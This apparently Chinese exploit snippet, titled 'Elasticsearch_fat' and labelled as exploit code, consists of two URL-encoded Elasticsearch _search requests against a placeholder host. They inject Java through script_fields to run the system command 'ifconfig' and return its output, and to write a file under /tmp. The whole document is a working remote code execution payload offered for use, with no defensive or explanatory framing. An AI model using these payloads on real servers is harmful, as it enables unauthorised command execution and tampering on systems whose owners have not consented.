Elasticsearch_fat
利用代码:
http://xxx.com:9200/_search?source={%22size%22:1,%22query%22:{%22filtered%22:{%22query%22:{%22match_all%22:{}}}},%22script_fields%22:{%22exp%22:{%22script%22:%22import%20java.util.*;nimport%20java.io.*;nString%20str%20=%20%22%22;BufferedReader%20br%20=%20new%20BufferedReader(new%20InputStreamReader(Runtime.getRuntime().exec(%22ifconfig%22).getInputStream()));StringBuilder%20sb%20=%20new%20StringBuilder();while((str=br.readLine())!=null){sb.append(str);}sb.toString();%22}}}
http://xxx.com:9200/_search?source={%22size%22:1,%22query%22:{%22filtered%22:{%22query%22:{%22match_all%22:{}}}},%22script_fields%22:{%22exp%22:{%22script%22:%22import%20java.util.*;nimport%20java.io.*;nFile%20f%20=%20new%20File(%22/tmp/12.txt%22);if(f.exists()){%22exists%22.toString();}BufferedWriter%20bw%20=%20new%20BufferedWriter(new%20OutputStreamWriter(new%20FileOutputStream(f),%22UTF-8%22));bw.write(%221233%22);bw.flush();bw.close();if(f.exists()){%22success%22.toString();}%22}}}
评论 (0)